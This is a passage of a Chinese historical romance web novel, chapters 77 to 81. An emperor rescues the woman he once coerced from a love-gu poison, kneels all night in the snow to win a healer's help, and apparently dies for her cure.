裴争唇角缓动,攥住他伸过来的手,顺势倒下,枕在她的腿上,“卿卿,让朕躺一会儿就好,不要推开朕。” 闻言,沈念紧绷的身子才缓缓放松,任着裴争躺在自己的腿上,不过片刻,他呼吸均匀,安睡过去,只是眉心仍蹙着,长睫不时轻颤,似在忍受巨大痛苦。 她想起王太医说过,裴争的身子早已被蛊毒侵蚀,体内蛊毒带来的痛,无时无刻不在折磨他,直到他因解蛊而亡才能解脱。 沈念不知不觉拿出帕子擦去他额间的密汗,动作间,心口忍不住发酸。 她恨他啊,又为何总对他心慈手软, 沈念,你真没出息。 她低下头,咬紧牙关,抵抗泪水的侵袭,一切都在挣扎中破碎。 …… 月圆之夜渐近,他们二人虽避口不谈,却都明白终该是要面对的,沈念不想让裴争解蛊,可裴争却不愿意让她忍受痛苦。 是日白天,裴争特意吩咐长戈寻了处村落人家借宿,以便入夜行事。 敲了几声大门后,一位妇人探出头,沈念怕裴争吓到人,将他挡在身后,迎上前温声解释:“姐姐,我们是京城来的,前去江南探亲,可否在你这里借住两日?”说着取下簪环递去,“这些权当酬谢,还请姐姐行个方便。” 身后的裴争没多说话,只站在那里一动不动,任着沈念将他护在身后,心中生出几分愉悦。 妇人见沈念言辞恳切,容貌透彻,美丽夺目,干净得没有半分烟火气,她此生从没见过这样的女子,因此放下戒心,推开沈念的手, “姑娘不用客气,我家并无旁人,只有我和孩子,你们若遇到难处,我自是能帮则帮,不过是在我这里借住两日罢了,哪用得上这些……快收回去。” “姐姐收下吧,这样我们还能住得心安些。”沈念执意相赠,毕竟要叨扰人家两日,萍水相逢,能收留他们这份恩情,无以为报,只能赠些值钱的东西回报。 她向来恩怨分明。 妇人见推脱不过,想着也是这么个道理,便收下东西,打开大门,“那你们便进来吧。” 这才接过,她引他们入院,一边收拾厢房一边笑道:“姑娘与你夫君住这间可好?莫要嫌弃我家简陋。” 沈念一怔,试图开口解释:“他……他不是。” “不是什么?”妇人的目光在他们二人之间转了转,姑娘美得不可芳物,公子也是好相貌,只是看着不太好相处,倒也无伤大雅,才子佳人,正相配。 妇人笑道:“我看姑娘与公子般配得很呢,不是夫妻么?” “是,我们是夫妻,”裴争忽地攥住她的手,唇角缓动,“我们进去吧,娘子。” 沈念愣住,就这样被他拉入屋内,待进屋掩上门,沈念立刻甩开他的手,“裴争,谁是你娘子?莫要胡言乱语!” 裴争静静看着她,闷笑一声,“卿卿,你为朕生过孩子,与朕同榻共枕,缠绵悱恻,该做的不该做的,你与朕都做过,就算你不愿意承认,你也是朕的女人。” “这点,无可厚非。” 说完这话,他立刻后悔了,怎又因一时之气,说出伤害沈念的话,真是该死。 “你——”沈念气极,眼眶发红,恨不得化成凶兽扑上去咬死他,不再让他说出这般无耻的话,“闭嘴,再乱说话,我便杀了你。” “杀朕?”裴争嗤笑,“卿卿,你舍得么?你舍得杀朕么?” 他太了解沈念,即便眼下露出凶狠的獠牙,对他很凶,可她心底依旧是软的。 “裴争!”沈念哑然,想到他那日躺在榻上的情景,即便恨入骨髓,她仍做不到看他死,这让她越发痛恨自己的软弱。 为什么就不能杀了他,给自己的痛苦报仇。为什么脑中满是失忆时,那段不堪的回忆? 正这时,屋外响起一阵叩门声,是妇人唤他们用膳。裴争不去,沈念便独自随妇人前往堂屋。 案上的菜皆是家常便饭,虽比不得宫内丰盛,却让沈念想到,幼时同娘亲在江南时的日子,那时娘亲总会做好饭菜等她玩闹归来,与此情此景很像。 她不由得红了眼眶。 那妇人善良客气,热情备好碗筷,贴心为她用湿帕擦好椅子,请她坐下,“姑娘快坐,爱吃什么吃什么,莫要拘束,就是粗茶淡饭。” 沈念笑着回应,“多谢姐姐,你不要嫌弃,收留我们已是大恩,我们哪里能嫌弃?” “姑娘客气了。” 说罢,她端起茶盏喝了口茶,抬眸时对上妇人的眼睛,只听一声询问,“姑娘,那位公子不是你夫君么?” 夫君…… 她摇了摇头,却又不合时宜地点了点头,若说不是,他们二人确有过肌肤之亲,甚至还共育一子,若说是,裴争那个混蛋,给予她的尽是屈辱与伤痛,哪里有半分爱? 他才不是她的夫君,只是仇人。 妇人见她沉默,笑了一声,“姑娘,你们夫妻二人是闹别扭了?姐姐是过来人,能看得出来那位公子的眼中只有你,想必你爱你爱到骨子里。” 沈念没说话,只低头吃饭,因为她根本不知道自己该去说什么回应。 妇人又继续道:“姑娘,人这一生能够遇到爱自己的人不容易,姐姐我年纪轻轻就守了寡,带着幼子艰难生活,领居街坊多少人都劝我再找一个,一个人带着孩子过活艰难,可是我偏偏不争气,心中始终只有孩子她爹。” “我爱他,也是非他不可,容不下其他人。” 说罢,她为沈念添了勺汤,温声劝说:“你们夫妻两个人有误会,说开就好,何必闹别扭,伤了感情?” “嗯……谢谢姐姐相劝。” 沈念虽嘴上答应,可她同裴争之间,又哪里是三言两语就能说清的? 纠缠许久,早已麻木,他爱她不假,她恨他也是真,到底如何才能说得清?说得开呢?她自己也不知道。 思虑良久,她忽然觉得脑子很乱,最后索性不再去想,毕竟今夜是月圆之夜,用膳后,便回了屋内。 推门时,只见裴争负手站在窗前,一身素白寝衣,几乎被月光浸得透明,闻声后,他回头,缓步走过来,攥住她的手, “卿卿,时辰到了,朕给你解蛊。” 第78章 “卿卿,时辰到了,朕给你解蛊。” 他的声音低哑,却又带着不容置喙的意味,一如当初他强迫自己的模样,她很讨厌他这副高高在上,勾起她内心深处那段痛苦的回忆。 沈念心狠狠一抽,推开他缩回手,转身走进屋内,冷声道:“裴争,我不用你解蛊,就算是死也不要你碰。” 她低下头,背对着裴争站在榻前,发白的指尖用力掐进掌心,今夜无论如何,她都不会让他碰。 他们纠缠太久,太久了, 让她感觉很累,也很无趣。 因为情蛊而纠缠,后来好不容易解开,眼下又要因为它而缠在一起。 没劲,真的很没劲, 半x辈子都在同裴争周旋。 裴争没理她的拒绝,上前扣住她的腰肢,将她按倒在榻,“不可能,卿卿,朕绝对不会眼睁睁看着你承受那蚀骨之痛。” 话音落,他伸手去解她的衣带,语气却缓了缓,“听话,只这一次便好。” “不要!”沈念拢住被脱到半腰的衣物,推搡男人的肩膀,拼命推开他的肩膀,“裴争,你再碰我,我就咬舌自尽。” 他们二人怕惊扰妇人,都刻意把声音放低,裴争手上的动作顿住,借着透过来的月光看着身下的人儿。 她的衣裙已被脱至半腰,香肩裸露,凌乱发丝散在身前,眼尾染红,仰仰扬起的小脸上泪痕斑驳,明明如娇花脆弱,目光却又是那般不甘,倔强。 他知道,她真的做得出自尽这种事。 “为什么?你不是恨朕么?他喉结滚动,敛下寂沉的眼眸,“卿卿,朕死了,你就解脱了。” “你不是早就想离开朕?只有朕死了,你才能如愿。” 沈念偏过头,泪水顺着脸颊落在被襟,“是,我是恨你……也恨不得你去死,可我不想让你因为我死啊,裴争……你就是一个混蛋,你不配替我死,你不配……” “你放开我……” 他强迫她生孩子,他将她囚在寝殿,他从不在乎她的感受,他从未给过她一丝尊重,他只知道把她当做一个玩物玩弄。 细数这一切,他哪里配去用命换她? 裴争攥着她衣襟的手紧了又松,终于缓缓松开,并重新替她穿好,系上衣带。 沈念一怔,而后推开他,坐起身子。 她垂下眼眸,没料到裴争会因为她的三言两语而让步,从前她也以死相逼过,可得到的却是他的冷笑,和有胆量就去死这类话,根本不会顾及她的性命。 “好,朕不碰你。”裴争退后半步,声音低沉,“你别做傻事。” 哪怕知道她多半是威胁,他也不敢赌。 厢房的窗子很矮,月光悄悄遛进来,因榻上无纱帐遮挡,那抹皎洁,落在他们二人身上,把身影拉得细长。 一个衣衫凌乱坐在榻上,默默流泪,破碎而凄惨;一个站在榻前,双眼猩红如困兽。 沈念的目光落在地上不动,而裴争的目光却直直落在她身上。 两人各自盯了良久后,裴争率先出口,哑声道:“卿卿,躺下歇息吧,朕不碰你。” 他的手轻按在沈念的肩膀上,她颤了颤,背对着他躺下,语气很轻却带着警告的意味:“你若是碰我,我就去死,裴争。” “朕,不碰你,”裴争苦笑一声,“朕在你心里就是一个言而无信的小人么?朕哪里强迫过你?嗯?” “你一直都是,裴争,你往日不都是在强迫我么?你不是小人么?” 沈念没再继续说下去。 裴争更是无言以对,过去的错事他承认,是他自私自利,不顾沈念的想法,对她造成了无法磨灭的伤害。 “卿卿,此前都是朕的错。”他躺在沈念身侧,自觉拉开距离,温和道出声:“朕知道错了。” 沈念没说话,只躺在那里倾听, 即使两个人躺在一张榻上,可他们都明白,沈念身上的情蛊随时都可以发作,一旦发作,若是无人解蛊,她会忍受巨大的痛苦。 到时该怎么办? …… 夜色渐深,即将要睡着的沈念忽地蜷起身子,一股燥热从骨缝中钻出,旋即是细密的痒,接着又是蚀骨的疼,仿若有万千只蚂蚁在啃食她的筋骨,剧烈疼痛瞬间蔓延四肢。 麻木又窒息。 她咬着唇,忍受蚀骨的疼和痒,手指紧紧抓着锦枕,像是在抓住最后的支撑,簌簌抖起来。 即便她极力忍受,身后的裴争还是察觉她的异样,他扳过沈念的身子,只见她唇已渗出血迹,额间冷汗密布,“卿卿!” “别……碰我……” 她的声音几乎是从嗓子眼里挤出来的,更控制不住地向他贴近,就算她的理智在告诉她,不能靠近裴争,不能靠近他……可根本没有用,她身体的灼热渴望凉意,渴望被裴争触碰。 “裴争,你快走!走啊!” “沈念!”裴争攥住她的手,没让她乱动,“疼么?片刻后你会更疼!听朕的话,让朕给你解蛊!” 说罢,他吻向她的唇,试图激发她体内的情蛊的欲望,从而主动来让他解蛊,不再抗拒。 他若是主动,她就像是一只刺猬一样,竖起全身的刺,若是她主动,便可以少吃些苦头。 唇瓣忽地被男人覆上,接触那份温软,沈念感觉到体内的痒意得以纾解,又驱散几分不适,但很快,又涌出几分燥热,她想要的不止是亲吻,而是更加深入的探寻…… 她快疯了, 心中的那股冲动在告诉她,要裴争,她需要裴争。 恍惚间,她主动搂住男人的脖颈,贴向他索取。 裴争知晓她已被蛊毒侵蚀得无了意识,抵不住那份痛苦,还是渴望他可以给她解蛊。 他愿意…… 于是,开始褪下她的衣物,扔在地上。 而正这时,她忽觉一阵凉意,恢复几分理智,见男人已解开腰封,赤着上身压过来。 沈念登时闭紧双腿,用尽力气抵住他胸膛,艰难发出声音,“裴争……你想让我死么?” “沈念!” 裴争气极,动作僵住,他懂沈念又在威胁他,可他想不通到底为什么,明明此事可以一举两得,可沈念却宁可忍受这般痛苦,也不愿意…… 最后,他不敢再碰她半分,看着沈念在榻上蜷缩着身子,“热,我好热……疼……” 沈念整个人就像被放在烤架上炙烤,从头到脚,只有那股无法忽视的燥热和疼。 她从来没如此疼过,就算当初生下昱儿的痛也不及此刻半分。这股热让她想起儿时,自己遭村民们嫌弃,不知哪个调皮的孩童引她去了破庙,并偷偷用火折子放了把火。 破届登时熊熊大火燃起,她无论如何用力推门,都无法推开,浓烟钻入喉咙,她被呛得咳嗽,唤了无数声救命……然而就在她倒在地上时,门却被人踢开,是她的娘亲不顾一切冲进火海救她,也因此,娘亲落下病根,最终郁郁而终。 她差点葬身那场大火。 眼下呢?她会不会死? 会不会疼死…… 她从前是贪生怕死,可如今连死也不怕了。 “热?”裴争摸着她的肌肤,烫得指尖一缩,随后似想到什么,“……卿卿,等着朕。” 说罢,他起身下榻冲出屋,至院内的水缸前,用木勺舀起满桶冷水,从头顶浇下,刺骨的寒激得他呼吸一窒。 有那么一瞬间,他觉得自己浑身的血都被冻住,急促喘息着,手上却片刻不停地浇着自己,直到湿透才回到榻上,将浑身滚烫的沈念紧紧拥入怀中。 他们二人的身子紧紧相贴,透过衣物,沈念感受到那股凉意冲淡,她将自己缩成一团,本能地贴向裴争,颤抖稍止。 裴争见此方式有用,唇角缓动,不再犹豫,只要能救她,无论要付出什么,他都愿意,更别提眼下以浑身浇冰水之法缓解她的痛苦。 一整夜,裴争反复往返院中与榻前,用冷水浸透自己,再回来抱住她。直到天将明时,她身上的热才渐渐退去,不再喊疼。 不知过了多久,沈念才渐渐恢复意识,睁开眼后,见自己躺在男人怀中,对上那双猩红的眼眸,肉眼可见,他身上的衣物湿透了,面色苍白得厉害,见状,她便猜到裴争是如何救她的。 “还热么?还疼么?” 他声音沙哑得厉害。 沈念没力气说话,只摇了摇头,虽然无昨夜那样痛苦,但身子各处还是泛着隐隐的疼,让她无法忽视。 不过,如今她同裴争之间却有一种特殊的氛围,就像刚刚他们一同经历过暴风雨,眼下风雨过去,倒显得异常平静。 这时,响起敲门声,是妇人来唤他们用膳,“姑娘,公子,起身了么?早膳备好了。” 裴争托住她的腰肢以作支撑,低声问:“有力气起来用膳么?” 沈念点头,昨夜折腾许久,眼下确实是饿了。 男人扶她起身,可就在她双脚落地时,忽觉天旋地转,眼前一黑。 裴争手臂一紧,将她牢牢接住,揽入怀中,“卿卿!” 她没有回应,已然昏厥过去。 第79章 沈念晕x倒后,裴争先是愣住,指尖止不住发颤,反应过来后,立刻伸手抱起她冲出厢房。 堂前的妇人见状,迎上前问:“公子,姑娘她这是怎么了?” 姑娘缩在郎君怀中,面色苍白如纸,原本就白晳的肌肤,在此刻她的脸色更是没一丝血色,仿若大病垂危。抱着她的裴争脸色也难看至极,眼底布满血丝。 怎么一夜之间,都变成这副样子? 妇人心中疑惑翻涌,好奇问:“你们都病了?” 裴争抱着沈念腾不开手,见妇人迎上来,他强压焦灼,开口吩咐:“她旧疾复发,把门打开!” 他的声音哑得厉害,因昨夜多次经历冰水浇身,寒气入体喉咙发涩,又因沈念晕倒,急血攻心,恨不得踹开门,哪里能顾及礼数?下意识显露帝王之姿。冷声吩咐。 突然被呵斥,妇人心弦一颤,面色骤变,赶忙上前推开大门,“公子,切记往东走二里,遇到岔路口向西拐,镇上有家医馆!” 裴争没说话,只抱着沈念离开。 “公子,记住了么?是东走,西拐!” 看着他渐行渐远的背影,妇人摇头轻叹,“那姑娘模样这样好,怎找了一个暴脾气的夫君?真是……哎。” * 裴争并未去妇人口中的医馆,而是抱着沈念疾行片刻,至村口偏僻处,一声短促哨音响起。不过半盏茶工夫,三匹快马自林间奔出,为首者正是长戈。 当初约定好,月圆之夜后,以哨音为示。 长戈见他无碍,眼眶泛红,又看着他抱着沈念,神色骤变,询问:“陛下!您还好么?娘娘这是……” “速回车队,传王太医!快!” 裴争心急如焚,翻身上马后将沈念护在怀中,声音冷得像冰,他特意带着王太医随行,以防途中发生意外。 眼下,意外还真的发生了, 多亏他未雨绸缪。 他径直抱着沈念回到车舆,王太医闻讯赶来时,浑身微颤,他知晓月圆之夜后,帝王和那位娘娘之间,必有一伤,走进车舆见帝王面色阴沉抱着昏睡的娘娘,一切分明了。 昨夜,娘娘并没有让帝王碰,那也就意味着,她自己忍受了蛊毒。 真是大事不妙…… 王太医忐忑上前,为沈念请脉,不过片刻,额间渗出冷汗。 男人面色苍白,眼底一片冷然,声音压得很低,“如何?” 王太医立马躬下身子,叹息:“回禀陛下,娘娘这是被蛊毒反噬,侵入心脉,导致的昏迷不醒,若是再寻不到解蛊之法,怕是……时日无多啊!” 听到“时日无多”这四个字时,裴争双眸猩红,紧紧攥着拳头,指节攥到隐隐泛白,“朕若是现在给她解蛊呢?” “说话!回答朕,若是现在给她解,她会不会好!” 他现在开始后悔昨夜没坚持给沈念解蛊,后悔自己为什么会心软听她的,为什么不强硬一点……如果碰了她,哪里还会变成眼下这副模样? 帝王眉目间黑压压地透着暗沉,仿佛被一层阴云所笼罩,说完这话后,他忽觉头疼,猛地扶住额头。 王太医叩首:“陛下!眼下娘娘已被蛊毒侵噬,乃是不可逆转的局面,除非找到解蛊高人,否则不出三月,娘娘必然油尽灯枯而亡。” “陛下就是眼下为娘娘解蛊,也无济于事啊!陛下!” 眼下明明是清晨,还有晨光透过帷帘落在帝王身上,可他看着却无比阴郁,就像地狱中刚爬出来的厉鬼,身上散发出来的低气压,让人感觉瑟瑟发抖。 王太医顿时冷汗涔涔,屏住呼吸。 “无济于事,无济于事……闭嘴,给朕闭嘴!” 他的头疼得越来越厉害,自从沈念假死逃跑后,他听不得她会死这类话,只要说及此,他的头便会隐隐作痛,心脏也似被人用万千根扎入,闷痛难当。 良久,他抬眼,眸光如刃,吩咐:“长戈,传令下去,快马加鞭,必须于十日后抵达南疆!” “是!属下尊旨!” 即便若是在十日后,抵达南疆需要日夜赶路,无休无止,他不敢反驳,只好应下。毕竟若是那位娘娘真的出了什么事,估计所有人都要活不成,快马赶路,在性命面前根本不算什么。 只盼着能快点抵达南疆。 车舆内,裴争垂眸看着怀中人,唇色惨白,呼吸清浅,一动不动。唯有那微弱起伏的胸口,证明她还活着。 不然,他真的会以为她不在了, 不要他,也不要昱儿…… 只要想到这里,他的心像是被紧紧揪住,每一次呼吸都带着刺痛,疼到受不住屏住呼吸时,心里又变得空落落的,紧接着还有一股难以言喻的恐惧涌上来。 只要她活着就好, 他只要她活着。 当夜,沈念恢复了些许意识,她费力睁眼,察觉到自己躺在熟悉的怀抱中,身下还是行进的车舆颠簸。 她艰难发出声音:“裴争,我……” 即便她声音气若游丝,裴争也能听到,而后他立即睁开双眸,眼底血丝未褪,却漾开一抹光亮,“醒了?” 她微微点头,发觉自己已不在村里的那位妇人家,而是车舆内。她不知道自己是怎么出来的,只知道那时候头昏昏沉沉,只想睡觉。 “我们这是?” 裴争将她搂得更紧,俯身吻向她的唇,如同在吻一件失而复得的珍宝,轻轻的,小心翼翼研磨她的唇珠,其实他们二人纠缠许久,睡过多次,亲过多次,从来没有像这般温柔。 第一次被这样吻,沈念还觉得不适应,加上身子乏,她艰难伸出手,搭在裴争的肩膀,轻轻推开拒绝, “裴争……” 得到示意后,裴争没再吻下去,看着姑娘眼中水雾弥漫,轻微地喘着气。 他盯了良久才道:“卿卿,很快我们便会到南疆寻那解蛊之人,到时你同朕都会安然无恙。” 沈念眨了眨眼,望向眼前人,如今他身着一件玄色便衣,昨夜他以冰水浇身,替她驱散热意。 唯有那双眼眸,分明还是那般凌历骇人,可眼底却蕴着一股,只有她能看懂的温柔。 “多久能到?” 她收回目光,试图坐起身子,可男人依旧不放心她自己坐着,手臂紧紧揽着她的腰肢不放,待她彻底坐稳后,才松开。 “不出十日,便会到南疆。”裴争轻声回答着,随后问了句:“饿么?” “嗯……” 沈念轻轻应了一声,眼下没力气跟男人对着干,也不想再同他吵,原谅他,不可能,只是因为她太累了,累到连眼皮都懒得掀开,又如何再同他争辩什么呢? 见她颔首,裴争低笑一声,开口吩咐:“来人,传膳。” 一声令下后,车舆外的侍卫端来吃食,裴争依次揭开食盒,里面装着的都是她爱吃的食物。 没想到往日不将一切放在心上的帝王,有一日也能如此体贴,竟还一勺勺喂她,动作生涩却耐心。 在裴争眼中,如今的场景是他们纠缠许久来,第一次和平相处,说不清楚这种感受给他带来的感受,如同干涸的土地忽然淋到甘露,非甜却暖。 他时常想,如若他们之间若无那些往事,沈念会不会同他像如今这般恩爱? 用完膳后,沈念再次躺下,不知不觉间又变得迷迷糊糊,渐渐失去意识昏睡过去。 王太医前来诊治,说是蛊毒不稳,导致沈念会时而清醒,时而昏睡,并无大碍。 此后几日,沈念果真如王太医所言,有时会突然醒来,却没力气动弹,有时会忽然昏睡,且噩梦缠身,常常抓着裴争的手,唤她娘亲,说很多胡话。 裴争知道这是沈念在梦呓,便一遍遍抚着她的脸颊,低声回应:“朕在。” 无论她唤的是谁,他都会说一句:“朕在。” * 直到十日后,车队终于踏入南疆地界,沈念醒来的次数越来越少,如今正在昏睡中。 裴争早已派暗卫先行打探,此刻回禀:“陛下,属下打探到那位隐居的邬先生,住在南麓山林深处,但……据说此人脾气古怪,未必肯见。” 裴争将沈念小心裹入狐裘,亲自抱下车舆,冷声吩咐:“带路。” 无论今日这巫医如何,他都要拼尽全力见上一见。 行片刻后,山林幽深,竹舍隐现。 裴争眉头略舒展,因解蛊心切快步上前,却被一青衣门童拦在篱外:“来者何人?” 他止住步子,垂眸看了眼怀中昏睡的沈念,声音沙哑而郑重:“求见邬道先生。吾妻身中蛊毒,命在旦夕,恳请先生出手相救。” 门童歪头打量他片刻,又看着他怀中确实抱着一个极美且病弱的姑娘,“救人啊x,那你等着,我去问问师父,看他如何说。” 裴争没说话,他想不管这邬先生如何,总该是人,他是当今帝王,无论要什么,他都给得起。 只要能救沈念,金银珠宝,就算权势,他都给得起。 不多时,门童返回,面有难色:“我师父说……不见。各位请回罢!” 第80章 不多时,门童返回,面有难色:“我师父说……不见。各位请回罢!” 说罢,他转身要离开,裴争眸光一沉,上前一步拦住他的去路,扬声道:“裴某愿以一切交换,只求先生救吾妻一命。” 他抬头,望向竹窗的方向,一字一句,“无论先生要什么,只要裴某有,绝无二话,都可奉给先生。” 他刚刚瞧见那邬先生此时正站在窗后,他的话自然能听到。 寒风拂过,光秃秃枝丫上的积雪掉落下来,发出沉甸甸的响声。 门童拿起扫帚,将地上的雪往裴争身上扫,赶客骂道:“你……你这人!我师父都说了不救,怎还不快走!再说话,我……我就对你不客气!” 什么人! 一点礼数都不懂。 裴争没动,只是将怀中的沈念护得更紧,声音更高了几分:“先生裴某已别无他法,今日您若不出手相救,裴某便带着吾妻死在先生门前!” 他知道,若是今日这位邬先生不肯出手,沈念必死无疑,那他也不愿活下去。 既然这位先生是避世高人,有人称赞他心善,自然不会眼睁睁看着他同沈念死在这里。 “你!你还不快走!还敢威胁我师父?快走!”听着他声音越说越大,门童更急,旋即拿起扫帚直朝裴争身上打去,扬声道:“快走!快走!” 然而扫帚未落,便听得身后传来一道苍老缓慢的声音:“徒儿,不得无礼。” 门童立刻收手退下,将扫帚藏在身后,“是,徒儿知错。” 竹门“吱呀”一声被人推开,只见一位身着白袍的老者缓步走来,明明脚下踩着积雪而行,他却能片雪不沾,衣袂飘飘,宛如一只孤山野鹤。 裴争向他颔首,低声道:“邬先生,求您救吾妻。” 他太高傲了,这一生都高高在上,从不会低声下气去求人,更不曾为谁失过态,视生死于浮云,他是帝王,是万民之主,心就该是冷的,硬的,情爱二字,就该被摒弃,独善其身。 直至遇见沈念,他发觉自己是错的,那颗冷寂的心开始恢复跳动,慢慢懂了什么是爱,如何去爱。 他爱沈念,无可厚非, 更愿意为她付出一切。 邬道上前一步,执起沈念的手腕,不过片刻,缓缓开口:“这位姑娘所中,乃是一种情蛊,且非同一般。” 裴争立即问:“这蛊,能解否?” “能解。”邬道抬眼看他,目光似能穿透人心,“不过公子,她当真是你的妻子么?” “她……” 裴争喉间一梗,说不出话来回应。 的确,他同沈念算哪门子夫妻呢?纠缠这么久,他一直对她是强迫,威胁,手段卑劣……何时给过她一个妻子的名分? 她原本应该是宋淮之的妻,却被他抢夺来,不顾一切占有。 沉默一瞬,他才道出声:“先生,她虽非裴某之妻,却是裴某此生挚爱。” “你怀中这姑娘心有旧伤,因此情蛊在她体内才会如此霸道。”邬道收回手,摇了摇头,“多年前,也曾有一位公子如你这般,恳求我救一位姑娘,不过那位姑娘却更可怜,一心求死,药石无医,你怀中这位尚存求生之念,倒是幸事。” 他顿了顿,又继续说道:“公子若想让我救她也可以,你且在这院中跪上一夜,若能坚持不倒,我便为你们解蛊。” 长戈着急出口:“放肆!你可知晓我们公子是何人,他怎能给你下跪,你——” “退下!”裴争冷声呵斥,目光却仍落在邬道身上,“跪上一夜么?如此先生便出手相救么?” 他只担心,脾气古怪的邬道出尔反尔不救,到时候沈念就真的活不成了。 邬道神色平静,语声也淡淡的:“公子放心,我邬道救人,要看心诚否,你罪孽不深,我自然不会取你性命。” “好,”裴争垂眸看着怀中的沈念,痛快应声,“不过是跪一夜罢了。” “那公子先把姑娘抱进屋。” 裴争小心翼翼将沈念放在内室小榻上,很快便回到院内。 一旁的长戈见他下定决心,再次开口劝道:“不可啊陛下,您是天子,是万金之躯,怎能下跪?还是跪一夜,陛下三思啊!” “如果要跪,属下替您跪!陛下!” “那你要朕眼睁睁看着,她去死么?”裴争站在那里面色凝重,声音低沉而沙哑,“朕做不到。” 不过是下跪罢了,只要能救沈念。 莫说是一夜,便是两日,三日,他都要试一试。 话毕,他不再多言,掀开衣袍,微弯膝盖,跪在地上。 长戈叹息一声,“陛下!” 就在这时,天又飘起细碎的雪花,纷纷扬扬落在男人发间,肩头……有一片雪花落在他的鸦睫,凉凉的,化成水珠沾在睫羽,随着眨眼间,落下。 他未动,稳稳地跪在院落里,内心格外平静。 膝盖下是冰冷的积雪,因那日救沈念以冰水浸身,眼下身子本来就弱,这么一跪,那股冷意从膝盖窜入身体,冷得让人发抖,裴争咬紧牙关,一动不动,只凝望着竹屋的方向。 沈念躺在屋里,他的卿卿正等着解蛊。 这时,不知是冷得发晕,还是内心的酸涩,往昔一幕幕在眼前浮现,从最开始的落难相救,那是他第一次遇到沈念,她心善又好骗,后来宫宴强占,他们有了第一次男女之欢,道观中逼她顺从,又强迫她入宫、生子…… 好像她的苦难都是他带来的, 一切的一切,都是他的错。 是他亲手将沈念毁了,强占她的一切, 是他亲手将鲜活的沈念,逼成一个死物。 都是他,全部是因为他。 他该死,却又怕死。 …… 夜里更冷,雪越下越大,长戈几次上前,想为其披上狐裘,却被他推开。到了后半夜,裴争浑身已被冻僵,瑟瑟发抖,意识也开始模糊,唯有心底一点执念撑着他不能倒下去,沈念必须活着。 他要沈念活着,不能死。 长戈侍奉帝王多年,从没见过这样的他,可以为什么人,而不顾一切,扔下君威,身份,跪在冰天雪地里,即便时刻有丧命的风险,也毫不在乎。 天将明时,雪终于停了,第一缕晨曦落在裴争身上,他浑身满是积雪,面色青白,就像是被霜打的茄子,再无生机与活力。 一夜,他整整跪了一夜, 在雪地之中,任寒风刺骨。 这一夜,他的身子快被冷意腐蚀,就像快要死去一样,试图起身,双腿却已麻木得失去知觉。长戈连忙上前搀扶,两人踉跄着走进屋内。 邬道见他能挺过一夜,颔首并笑出声,“公子好毅力,心诚至此,这蛊我自然会为你同这位姑娘解开。” “多谢先生,”裴争握拳轻咳了两声,气息虚弱。 “不过,公子,解蛊一事,凶险未知,加之这位姑娘的蛊毒已侵蚀她的心脉,若是出了意外,你同她只能活一个。” “届时,我该救谁?” “救她,”裴争没犹豫,当即回话:“先生到时,竭尽全力救她。” 自他决定以身引蛊时,就没想过活着,眼下更不会考虑让沈念死去。 邬道目光深邃,多问一句:“公子……决定好了?我看得出你身份不凡,能得到如今权势与地位,实属不易,你当真愿意舍弃么?” 裴争嗤笑一声,再度开口:“先生,权势与地位,不过是一些身外之物,怎及她重要?” “先生届时,不要犹豫,救她。” 即便已多次叮嘱,可他还是不放心害怕沈念出事,他却活下来。 “一定要救她。” “好,”邬道不再多言,“既如此,公子便躺下吧。” 裴争依言躺在沈念身侧,轻轻握住她的手,闻到她身上淡淡的梅香,令他忽然心安。 “卿卿……”他附在她的耳畔,低声呢喃,“你一定要好好活着。” 哪怕代价是他的命。 …… 不知过了多久,窗外雪霁天晴,树梢上凝结的霜花,在阳光照耀下融化成晶莹的水珠,泛着金色光泽。 一缕晨光透过竹窗落在沈念身上,暖融融的,她眼睫微颤,缓缓睁开双眼。 “姑娘,你醒了?” 旁边传来一个清脆的声音。 沈念起身转过头,看到一个x门童打扮的少年,周围一切都是陌生的,她忍着疑惑,出口问道:“敢问,这是……哪里?我为何在此处?” 她不是同裴争在车舆上? 这是何处?他们已经到南疆了么? 她拧紧眉头,陷入沉思,头脑很乱。 门童见她疑惑不解,笑着解释道:“这是我师父的住处。你被人送来解蛊,现在蛊已经解啦,还有没有哪里不适?要同我师父说。” “解了?”沈念心中一松,原来她身上的情蛊已经解了,看来此处是南疆,且成功寻到巫医。 随即她想起什么,急急问道,“送我来的那男人呢?他在哪儿?” 门童一边收拾药碗,一边随口答道:“他啊,昨夜跪了一宿,今早解完蛊就没气儿了。”《 》 80-84 第81章 沈念怔住,浑身血液仿若凝固住,嘴唇颤抖,艰难发出声音,问道:“你……你说什么?” 她似未听清门童的话,又问一遍确认。 门童放下手中药碗,转过头对着她,郑重回复:“带你来的那位公子,为救你,昨夜在院中跪了一夜,解蛊时,他同师父说,要救你,这不就没气了。” “死得透透的,没救了。” 这一次,门童的话落入耳中,字字清晰,她没听错,裴争死了,是因为解蛊,也是为了护她而死。 沈念起身下榻,却因刚刚解蛊体力不支,重重摔在地上,“不会的!不会!他怎么会死?” “你骗我!他不会死……” 门童摇了摇头,扬高了声音,“你这姑娘,我,我骗你做什么!” 她用力按住胸口,大口地喘息着,心就像是被一股麻绳拧住,窒息的闷痛,大颗大颗的眼泪掉了下来。 她恨的人,伤害她无数次的人,从这世上消失了。 哭什么?裴争死了,她该高兴啊…… 可是,她为什么一点也高兴不起来,反而是心痛呢? 明明有阳光落在身上,可她却觉得冷,犹如被扔进冰窟,冷到浑身颤抖。 她的手指紧紧攥住衣摆,试图压制那份颤抖,可根本没有用,她还是疼。 霎时间,双眼朦胧,看不清周围一切,任着那泪水打湿衣襟。 她在哭什么?又在疼什么? 她想不通,低声唤了一句, “裴争……” 这时,身前忽有人影。 她抬头望去,虽已被泪水模糊双眼,但她依旧能猜到这人是救她的巫医。 “姑娘,你哭什么?” 他问,声音异常平静。 沈念拭泪:“他死了……” “这……”邬道笑出声:“你被他所伤,难道不该盼着他去死么?” 她沉默一瞬。 是啊,她这一生的苦难,都是因为裴争,如果没有他,她应该是多么幸福的小娘子,有疼她,爱她的夫君,两人举案齐眉,相夫教子。 可是都是因为裴争,这一切都没有了,他毁了她的一切,强迫入宫,强迫生孩子……一切的一切都是他强行加给她的。 他伤她至深,伤得体无完肤。 片刻后,沈念跪直身子,如实说:“先生,我是恨他……可他死了,我却高兴不起来。” “我大概是病了。” 没错,她病了,且病得不轻, 她同裴争一样,都成了疯子。 邬道笑声更朗,“姑娘哪里是病了,不过是为情所困罢了。” “为情所困——”沈念喃喃,随后似想到什么,再度开口:“先生,他的尸身在何处,我能去见见么?” 提到“尸身”两个字时,她的心口再次传来闷闷的钝痛,就像被人拿刀子一寸寸割着她的心。 “尸身?”邬道侧身指向门外,笑道:“你瞧那是谁?” 